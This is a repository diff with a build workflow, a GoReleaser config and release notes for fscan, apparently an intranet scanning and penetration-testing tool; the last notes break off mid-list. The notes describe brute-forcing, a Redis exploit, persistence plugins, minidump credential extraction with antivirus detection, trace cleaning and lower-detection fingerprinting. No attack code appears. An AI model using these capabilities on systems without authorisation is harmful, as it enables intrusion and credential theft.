GITHUB_REPO: ${{ github.event.repository.name }}
|
||||
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||
|
||||
- name: 上传产物
|
||||
uses: actions/upload-artifact@v4
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
if: always()
|
||||
with:
|
||||
name: build-${{ inputs.mode }}-${{ github.run_id }}
|
||||
path: dist/
|
||||
retention-days: ${{ inputs.retention-days }}
|
||||
|
||||
- name: 生成报告
|
||||
shell: bash
|
||||
if: always()
|
||||
run: |
|
||||
cat >> $GITHUB_STEP_SUMMARY << EOF
|
||||
# 构建报告
|
||||
|
||||
| 项目 | 值 |
|
||||
|------|-----|
|
||||
| 模式 | \`${{ inputs.mode }}\` |
|
||||
| 版本 | \`${GITHUB_REF_NAME}\` |
|
||||
| 提交 | \`${GITHUB_SHA:0:7}\` |
|
||||
| Go | \`$(go version | awk '{print $3}')\` |
|
||||
|
||||
## 构建产物
|
||||
|
||||
$(if [ -d "dist" ]; then
|
||||
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
|
||||
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
|
||||
else
|
||||
echo "- 无产物"
|
||||
fi)
|
||||
|
||||
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
|
||||
EOF
|
||||
+220
-50
@@ -1,76 +1,246 @@
|
||||
version: 2
|
||||
|
||||
project_name: "fscan"
|
||||
|
||||
before:
|
||||
hooks:
|
||||
- sudo apt -y install libprotobuf-dev protobuf-compiler protoc-gen-go
|
||||
- go mod tidy
|
||||
- go generate ./...
|
||||
- go mod download
|
||||
|
||||
builds:
|
||||
- id: "with-upx"
|
||||
# 标准版 - 全部插件(全架构)
|
||||
- id: fscan
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos:
|
||||
- linux
|
||||
- windows
|
||||
- darwin
|
||||
goarch:
|
||||
- amd64
|
||||
- arm64
|
||||
- arm
|
||||
- "386"
|
||||
goarm:
|
||||
- "6"
|
||||
- "7"
|
||||
flags:
|
||||
- -trimpath
|
||||
ldflags:
|
||||
- -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: linux
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
hooks:
|
||||
post: upx --best -f -q "{{ .Path }}"
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# UnknownExecutableFormatException
|
||||
# CantPackException: can't pack new-exe
|
||||
- id: "without-upx"
|
||||
# 无本地插件版 - 排除本地模块(全架构)
|
||||
- id: fscan-nolocal
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos:
|
||||
- linux
|
||||
- windows
|
||||
- darwin
|
||||
goarch:
|
||||
- mips64
|
||||
- arm
|
||||
goarm:
|
||||
- "6"
|
||||
- "7"
|
||||
flags:
|
||||
- -trimpath
|
||||
ldflags:
|
||||
- -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: linux
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
tags: [no_local]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# WebUI版 - 主流平台即可
|
||||
- id: fscan-web
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin]
|
||||
goarch: [amd64, arm64, "386"]
|
||||
goarm: ["7"]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
flags: [-trimpath]
|
||||
tags: [web]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
upx:
|
||||
- ids: [fscan, fscan-nolocal, fscan-web]
|
||||
enabled: true
|
||||
goos: [windows, linux]
|
||||
goarch: [amd64, "386", arm64]
|
||||
compress: "6"
|
||||
brute: false
|
||||
lzma: false
|
||||
|
||||
archives:
|
||||
- replacements:
|
||||
darwin: Darwin
|
||||
linux: Linux
|
||||
windows: Windows
|
||||
386: i386
|
||||
amd64: x86_64
|
||||
# 标准版归档
|
||||
- id: fscan
|
||||
ids: [fscan]
|
||||
formats: [binary]
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# 无本地插件版归档
|
||||
- id: fscan-nolocal
|
||||
ids: [fscan-nolocal]
|
||||
formats: [binary]
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-nolocal_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# WebUI版归档
|
||||
- id: fscan-web
|
||||
ids: [fscan-web]
|
||||
formats: [binary]
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-web_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
checksum:
|
||||
name_template: 'checksums.txt'
|
||||
snapshot:
|
||||
name_template: "{{ incpatch .Version }}-next"
|
||||
algorithm: sha256
|
||||
|
||||
changelog:
|
||||
sort: asc
|
||||
use: github
|
||||
filters:
|
||||
exclude:
|
||||
- '^docs:'
|
||||
- '^test:'
|
||||
- "^(docs|test|ci|chore):"
|
||||
- "Merge (pull request|branch)"
|
||||
groups:
|
||||
- title: "🚀 新功能"
|
||||
regexp: "^.*feat[(\\w)]*:+.*$"
|
||||
order: 0
|
||||
- title: "🐛 问题修复"
|
||||
regexp: "^.*fix[(\\w)]*:+.*$"
|
||||
order: 1
|
||||
- title: "🔧 其他改进"
|
||||
order: 999
|
||||
|
||||
release:
|
||||
github:
|
||||
owner: "{{ .Env.GITHUB_OWNER }}"
|
||||
name: "{{ .Env.GITHUB_REPO }}"
|
||||
draft: false
|
||||
prerelease: auto
|
||||
mode: replace
|
||||
header: |
|
||||
## {{ .ProjectName }} {{ .Tag }}
|
||||
|
||||
感谢使用 {{ .ProjectName }}!
|
||||
|
||||
### 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
|
||||
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
|
||||
|
||||
### 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64, arm64 |
|
||||
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
|
||||
| Solaris | x64 |
|
||||
footer: |
|
||||
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
|
||||
|
||||
snapshot:
|
||||
version_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
|
||||
|
||||
metadata:
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
# fscan v2.2.0-rc.1
|
||||
|
||||
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
|
||||
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
|
||||
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
|
||||
|
||||
---
|
||||
|
||||
## 与 v2.2.0-rc 的变更
|
||||
|
||||
本版本基于大量实机测试反馈,**修复 30+ 个问题,新增自适应扫描系统**。183 个文件变更。
|
||||
|
||||
---
|
||||
|
||||
### 🚀 新功能
|
||||
|
||||
#### 自适应并发调度
|
||||
|
||||
扫描前自动探测网络环境(RTT、丢包率、fd limit),基于探测数据推导关键参数,替代硬编码默认值:
|
||||
|
||||
- **Timeout**: `median_RTT + 4σ`(覆盖 99.9% 正常连接),下限 1s,上限 10s
|
||||
- **ModuleThreadNum**: `ThreadNum / 30`,下限 5,上限 50
|
||||
- **MaxRetries**: 基于丢包率推导,保证全失败概率 <1%
|
||||
- **ICMPRate / PocNum**: 跟随环境和并发自动调整
|
||||
|
||||
线程池升级为 **AIMD + 慢启动**:慢启动阶段 500ms 翻倍,稳态 AIMD(健康 +5%,拥塞 ×0.5),双信号(资源耗尽率 + RTT 趋势)驱动。
|
||||
|
||||
#### 协议级超时下限(ModuleTimeout)
|
||||
|
||||
新增 `Config.ModuleTimeout()` 方法,保证插件级交互超时不低于 3s。自适应系统将端口扫描超时压到 1s 时,SSH 握手、SNMP 探测、数据库认证等多轮交互协议不再受影响。全部 44 个服务插件已迁移。
|
||||
|
||||
#### 限流错误分类(ErrorTypeThrottle)
|
||||
|
||||
新增 `ErrorTypeThrottle` 错误类型,区分服务端限流(SSH MaxStartups 等)和真正的网络不可达。限流错误不计入连续失败计数,触发 500ms 退避后继续,避免误判目标不可达而提前放弃。
|
||||
|
||||
#### Web 版独立入口
|
||||
|
||||
- 拆分 `main.go` 为 `main_cli.go` 和 `main_web.go`
|
||||
- Web 版结果存储从内存替换为 SQLite 持久化(纯 Go 零 CGO)
|
||||
|
||||
---
|
||||
|
||||
### 🐛 Bug 修复
|
||||
|
||||
#### 插件调度(#586 #587 #588)
|
||||
|
||||
- **非标准端口服务无法匹配插件** — SSH 在 8881 端口,端口匹配失败导致插件不执行。新增服务名称缓存 + 指纹驱动回退匹配 (#588)
|
||||
- **移除误导性的"无可用插件"日志** — 预检基于静态端口匹配,不代表实际不执行 (#588)
|
||||
- **默认扫描 POC 结果缺失** — `executeRules` 返回空 `vulName` 导致检测结果被丢弃 (#586)
|
||||
- **批量扫描(-hf)POC 缺失** — 并发压力下 HTTP 请求瞬时失败未重试,跳过指纹识别和 POC 触发。加入指数退避重试 (#587)
|
||||
- **UDP 插件在 `-p` 指定端口时被跳过** — 现在按用户指定端口过滤并正确调度
|
||||
- **`-full` 模式下 Web 插件跳过 `IsMarkedWebService` 检查**
|
||||
- **不确定服务补做 HTTP 回退探测**,覆盖自定义 HTTP 框架漏网场景
|
||||
|
||||
#### UDP 插件
|
||||
|
||||
- **UDP 插件阻塞导致扫描无法结束** — `conn.Read()` 在目标不响应时无限阻塞。所有 UDP 插件(SNMP/BACnet/DNS/IPMI/TFTP)统一使用 context timeout + conn.Close 双保险
|
||||
- **SNMP community 爆破混入通用密码字典** — 57 个通用密码串行探测导致 10 分钟阻塞,精简为 8 个专用 community
|
||||
|
||||
#### SSH
|
||||
|
||||
- **SSH goroutine 泄漏** — `ssh.NewClientConn` 不接受 context,context 取消后底层 TCP 连接未关闭,大规模扫描时泄漏数万 goroutine
|
||||
- **SSH 握手无 TCP deadline 兜底** — 在 `NewClientConn` 前设置 deadline,握手成功后清除
|
||||
- **SSH 爆破并发过高** — 从 30 降至 3,避免触发 OpenSSH MaxStartups 限流
|
||||
|
||||
#### Redis
|
||||
|
||||
- **Redis exploit 无超时保护** — exploit 阶段移除了全部 deadline,改为 30s 超时
|
||||
- **Redis readReply 吞没非超时错误** — 现在仅对 timeout 类型错误做容忍
|
||||
|
||||
#### POC 引擎
|
||||
|
||||
- **DetectPocFormat 误判含 transport 的 fscan POC 为 xray 格式** — 修复后 388 个 POC 全部正确加载(之前 8 个失败)
|
||||
- **CEL clustersend 结果判断错误** — 从字符串比较改为类型断言
|
||||
- **CEL wait() 函数 nil Reverse 指针 panic**
|
||||
- **reverseCheck 无超时** — 加 10s 超时防止 ceye API 阻塞
|
||||
- **正则编译结果未缓存** — `doSearch`/`bmatches` 缓存到 `sync.Map`
|
||||
|
||||
#### 参数与输出
|
||||
|
||||
- **`-gt` 全局超时参数是死代码** — 现在真正生效,超时后取消所有扫描任务
|
||||
- **`-nopoc` 禁用 POC 时仍输出错误日志** — 已修复
|
||||
- **`-debug` 日志文件写入失败** — `applyLogLevel` 重建 Logger 时丢失 `DebugLogFile` 配置
|
||||
- **`-hash` 不支持 LM:NT 格式** — 现在支持 `aad3b435b51404ee:31d6cfe0d16ae931...` 标准格式
|
||||
- **`-pwd` 不支持逗号分隔多个密码** — 现在 `-pwd "123,456,root"` 正确拆分
|
||||
- **`-nobr` 跳过了 Redis 未授权检测** — 未授权是服务探测不是爆破,不受 `-nobr` 影响
|
||||
- **非终端输出时 ANSI 控制码覆盖扫描结果** — 管道/重定向时自动禁用进度条和颜色
|
||||
- **静默模式 NDJSON banner 过长** — Redis INFO ~5KB 截断至 200 字符
|
||||
- **CSV 漏洞 Type 列为空** — 补全 `type` 字段
|
||||
- **SNMP 探测成功但终端无输出** — 补充 `session.LogVuln` 调用
|
||||
|
||||
#### 其他
|
||||
|
||||
- **service_probe 连接丢失后静默成功** — `Write`/`Read` 在 `Conn=nil` 时返回明确错误
|
||||
- **MongoDB readMongoMsg 未设置读超时**
|
||||
- **TXTWriter.Close Sync 失败后未关闭文件**
|
||||
- **MySQL 3306 服务名误识别为 genetec-5400** — nmap 指纹库误匹配,通过 banner 特征校正
|
||||
- **gmtls stdout 竞态** — 移除 `os.Stdout` 非同步重定向
|
||||
|
||||
---
|
||||
|
||||
### 🏗️ 架构优化
|
||||
|
||||
- **统一服务缓存** — `webServiceCache` 扩展为通用 `serviceCache`,下沉到 per-session State,消除多实例缓存串台
|
||||
- **CEL 表达式编译缓存** — 同一 POC 的所有规则共享编译后的 Program
|
||||
- **POC 全局状态消除** — `allPocs` 全局变量改为 `pocStore` 按 PocPath 缓存,并发场景不再互相覆盖
|
||||
- **进度条竞态修复** — `isActive` 改为 `atomic.Bool`
|
||||
- **Lint 全量修复** — cassandra/ipmi/mongodb/webscan 的 ineffassign、unused、errcheck
|
||||
|
||||
---
|
||||
|
||||
## 反馈与贡献
|
||||
|
||||
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
|
||||
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
|
||||
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
|
||||
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
|
||||
@@ -0,0 +1,106 @@
|
||||
# fscan v2.2.0-rc
|
||||
|
||||
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
|
||||
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
|
||||
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
|
||||
|
||||
---
|
||||
|
||||
## 与 v2.1.3 的主要变更
|
||||
|
||||
### 🏗️ 架构升级:嵌入式 Scanner SDK
|
||||
|
||||
新增 `pkg/fscan` 包,fscan 从纯 CLI 工具进化为**可嵌入的扫描引擎**。
|
||||
|
||||
- 支持从其他 Go 程序直接调用 fscan 扫描能力
|
||||
- 每个 Scanner 实例拥有独立的 config/state/session
|
||||
- 支持多实例并发扫描,日志和结果完全隔离
|
||||
- 全局状态已完整迁移到 session 实例
|
||||
|
||||
### 🚀 大规模扫描支持
|
||||
|
||||
- **流式 Host Iterator** — /8 级别 CIDR 不再一次性展开到内存
|
||||
- **移除 MaxHosts 硬限制** — 大网段不再被静默截断
|
||||
- **ARM 原子计数器对齐** — 修复 32 位 ARM 平台 panic
|
||||
|
||||
### 🔌 新增协议插件(+9)
|
||||
|
||||
| 插件 | 用途 |
|
||||
|------|------|
|
||||
| IMAP / POP3 | 邮件服务器检测 |
|
||||
| JDWP | Java Debug 端口检测 |
|
||||
| NFS / RMI | 文件共享 / Java 远程调用 |
|
||||
| IPMI | 服务器带外管理 |
|
||||
| SNMP (UDP) | 网络设备管理 |
|
||||
| DNS / BACnet / Modbus | DNS 服务 / 工控协议 |
|
||||
|
||||
全部为**原生协议实现**,零外部依赖。
|
||||
|
||||
### ⚡ 性能与体积优化
|
||||
|
||||
- Kafka/MongoDB/Cassandra 从重型客户端库改为 raw TCP 实现,**二进制体积减小**
|
||||
- 热路径零分配、自适应连接池 CAS 无锁化
|
||||
- Scanner 客户端指纹收敛(降低被检测概率)
|
||||
|
||||
### 🌐 网络能力增强
|
||||
|
||||
- **SOCKS5 代理认证**支持(用户名/密码)
|
||||
- **国密 TLS**(SM2/SM3/SM4)网站扫描
|
||||
- 支持 `-add-password` 追加多个自定义密码
|
||||
|
||||
### 🔧 本地后渗透插件
|
||||
|
||||
- 新增 sshkey、4 种持久化插件(crontask/systemd/winregistry/winschtask)
|
||||
- minidump 降级链凭据提取 + 杀软前置检测
|
||||
- cleaner 清理所有持久化痕迹
|
||||
- systeminfo 整合合并(fileinfo/dcinfo/avdetect/envinfo)
|
||||
|
||||
### 📦 工程改进
|
||||
|
||||
- 目录重命名:`WebScan/` → `webscan/`、`mylib/` → `libs/`
|
||||
- i18n 覆盖扩展(中/英双语)
|
||||
- 全量 lint/errcheck 修复
|
||||
- 补充大量单元测试
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ 已知问题 / 注意事项
|
||||
|
||||
| 问题 | 说明 |
|
||||
|------|------|
|
||||
| SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) |
|
||||
| CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) |
|
||||
| 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 |
|
||||
| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 |
|
||||
| `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 |
|
||||
|
||||
---
|
||||
|
||||
## 反馈与贡献
|
||||
|
||||
这是一个 RC 版本,我们非常需要你的反馈:
|
||||
|
||||
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
|
||||
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
|
||||
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
|
||||
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
|
||||
|
||||
---
|
||||
|
||||
## 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) |
|
||||
| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) |
|
||||
|
||||
## 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64 (Intel), arm64 (Apple Silicon) |
|
||||
| FreeBSD | x64, x32, arm64, armv5/6/7 |
|
||||
| Solaris | X64n |
|
||||
@@ -0,0 +1,129 @@
|
||||
# fscan v2.2.0
|
||||
|
||||
v2.2.0 是 v2.2 系列首个正式版,基于 v2.1.3 之后的 RC 测试和 Issue 反馈整理发布。
|
||||
|
||||
本版本重点提升大规模扫描稳定性、POC 扫描可靠性、非标准端口服务识别、插件隔离和嵌入式 SDK 能力。
|
||||
|
||||
---
|
||||
|
||||
## 重点变化
|
||||
|
||||
### 嵌入式 Scanner SDK
|
||||
|
||||
新增 `pkg/fscan`,fscan 从纯 CLI 工具扩展为可嵌入的 Go 扫描引擎:
|
||||
|
||||
- 支持在 Go 程序内直接调用扫描能力
|
||||
- Scanner 实例拥有独立 `config` / `state` / `session`
|
||||
- 全局状态迁移到 session,改善多实例并发隔离
|
||||
- 补充 SDK 结果转换、配置校验和并发扫描测试
|
||||
|
||||
### 大规模扫描稳定性
|
||||
|
||||
- 新增流式 Host Iterator,大 CIDR 不再一次性展开到内存
|
||||
- 移除 MaxHosts 硬限制,大网段不再被静默截断
|
||||
- 新增自适应并发调度,基于 RTT、丢包率、fd limit 自动推导扫描参数
|
||||
- 线程池升级为 AIMD + 慢启动,遇到资源耗尽时自动降速
|
||||
- `-gt` 全局超时正式生效,超时后会取消扫描任务
|
||||
- 新增 `-nsp`,可禁用网段预筛
|
||||
|
||||
### 服务识别与插件调度
|
||||
|
||||
- 修复非标准端口服务无法匹配插件的问题
|
||||
- 新增服务缓存和指纹驱动插件匹配
|
||||
- `-full` 模式下 Web 插件可覆盖所有开放端口
|
||||
- 不确定服务增加 HTTP 回退探测
|
||||
- 移除误导性的“无可用插件”日志
|
||||
- 用户指定 `-p` 时 UDP 插件按端口交集正确调度
|
||||
|
||||
### Web / POC 扫描
|
||||
|
||||
- 修复默认扫描 POC 结果缺失
|
||||
- 修复 `-hf` 批量扫描时 POC 缺失
|
||||
- 修复 HTTPS 端口误用 HTTP 扫描 POC
|
||||
- 修复 POC 结果文件只显示 `vulnerable` 不显示漏洞名称
|
||||
- POC 加载按 `pocpath` 隔离缓存,多 session 不再互相覆盖
|
||||
- 修复 CEL、reverseCheck、正则缓存等稳定性问题
|
||||
- `-nopoc` 禁用 POC 时不再输出误导性错误日志
|
||||
|
||||
### 新增协议插件
|
||||
|
||||
新增多种原生协议插件,覆盖邮件、Java 调试、文件共享、带外管理、UDP 和工控场景:
|
||||
|
||||
| 插件 | 用途 |
|
||||
|------|------|
|
||||
| IMAP / POP3 | 邮件服务器检测 |
|
||||
| JDWP | Java Debug 端口检测 |
|
||||
| NFS / RMI | 文件共享 / Java 远程调用 |
|
||||
| IPMI | 服务器带外管理 |
|
||||
| SNMP / DNS / BACnet / Modbus | 网络设备、DNS、工控协议检测 |
|
||||
|
||||
### Web 版
|
||||
|
||||
- 拆分 CLI / Web 入口
|
||||
- Web 版结果存储改为 SQLite 持久化
|
||||
- Web API 版本号改为动态读取
|
||||
|
||||
---
|
||||
|
||||
## Bug 修复摘要
|
||||
|
||||
- 修复 #586 默认扫描 POC 结果缺失
|
||||
- 修复 #587 `-hf` 批量扫描 POC 缺失
|
||||
- 修复 #588 非标准端口服务插件匹配问题
|
||||
- 修复 #590 Telnet Cisco MOTD 横幅误判 shell prompt
|
||||
- 修复 #591 HTTPS POC 协议错误与结果名称缺失
|
||||
- 修复 #592 service probe 空指针 panic
|
||||
- 修复 #593 `-ehf` 排除主机未生效,支持 IP / CIDR / range
|
||||
- 修复 UDP 插件阻塞导致扫描无法结束
|
||||
- 修复 SSH goroutine 泄漏和握手 deadline 问题
|
||||
- 修复 Redis exploit 超时和非超时错误处理
|
||||
- 修复 MongoDB SCRAM、Cassandra、Oracle 等协议问题
|
||||
- 修复 SOCKS5 代理认证、LM:NT hash、逗号分隔密码等参数问题
|
||||
- 修复非终端输出 ANSI 控制码覆盖结果
|
||||
- 修复 CSV / NDJSON / TXT 输出若干字段问题
|
||||
- 修复 ARM 32 位原子计数器对齐问题
|
||||
|
||||
---
|
||||
|
||||
## 升级注意
|
||||
|
||||
- WebUI 仍建议视为实验性能力
|
||||
- 本地后渗透插件仅用于授权环境
|
||||
- v2.2.0 改动较大,建议从 v2.1.3 升级的用户先在测试环境验证扫描参数
|
||||
- 如依赖旧版本输出格式,请重点检查 POC、SERVICE、VULN 结果字段
|
||||
|
||||
---
|
||||
|
||||
## 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
|
||||
| **fscan-web** | WebUI 版,带 Web 管理界面(主流平台) |
|
||||
|
||||
## 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64, arm64 |
|
||||
| FreeBSD | x64, x32, arm64, armv5/6/7 |
|
||||
| Solaris | x64 |
|
||||
|
||||
---
|
||||
|
||||
## 校验
|
||||
|
||||
本版本已通过:
|
||||
|
||||
- `go test ./...`
|
||||
- 近期 Issue 回归验证
|
||||
- 本地 HTTP / HTTPS POC 扫描验证
|
||||
- `-hf` 批量 POC 扫描验证
|
||||
- `-ehf` IP / CIDR 排除验证
|
||||
|
||||
完整变更记录见:
|
||||
|
||||
https://github.com/shadow1ng/fscan/compare/v2.1.3...v2.2.0
|
||||
@@ -0,0 +1,64 @@
|
||||
# fscan v2.2.1
|
||||
|
||||
v2.2.1 是 v2.2 系列的稳定性修复版本,重点解决大规模扫描提前结束、开放端口漏扫、服务识别误差和协议插件异常,并扩充常见内网产品的 POC 覆盖。
|
||||
|
||||
---
|
||||
|
||||
## 重点变化
|
||||
|
||||
### 扫描稳定性
|
||||
|
||||
- 默认不再启用全局扫描超时,避免大网段或弱网络环境下扫描被整体提前终止
|
||||
- `-gt` 仍可用于显式设置全局超时;嵌入式 SDK 同样支持按需配置
|
||||
- 修复高并发场景下自适应超时过低导致开放端口漏扫的问题
|
||||
- 扫描异常退出时正常执行结果清理和落盘,避免主结果为空及 `.realtime.tmp` 残留
|
||||
|
||||
### 服务识别与协议插件
|
||||
|
||||
- 修复 `-nobr` 下 VNC 仍继续尝试密码的问题
|
||||
- Telnet 未授权结果增加真实命令执行验证,降低提示符误报
|
||||
- SSH 服务识别支持 RFC 4253 允许的 identification 前提示行
|
||||
- 修复 RDP Fast-Path 数据早于监听器初始化时触发的 nil pointer panic
|
||||
- 通用 SSL/TLS 指纹不再直接判定为 Web 服务,减少 MQTT TLS 等非 HTTP 服务的握手报错
|
||||
|
||||
### POC 覆盖
|
||||
|
||||
新增 100 个经过整理的内网常见产品 POC,覆盖:
|
||||
|
||||
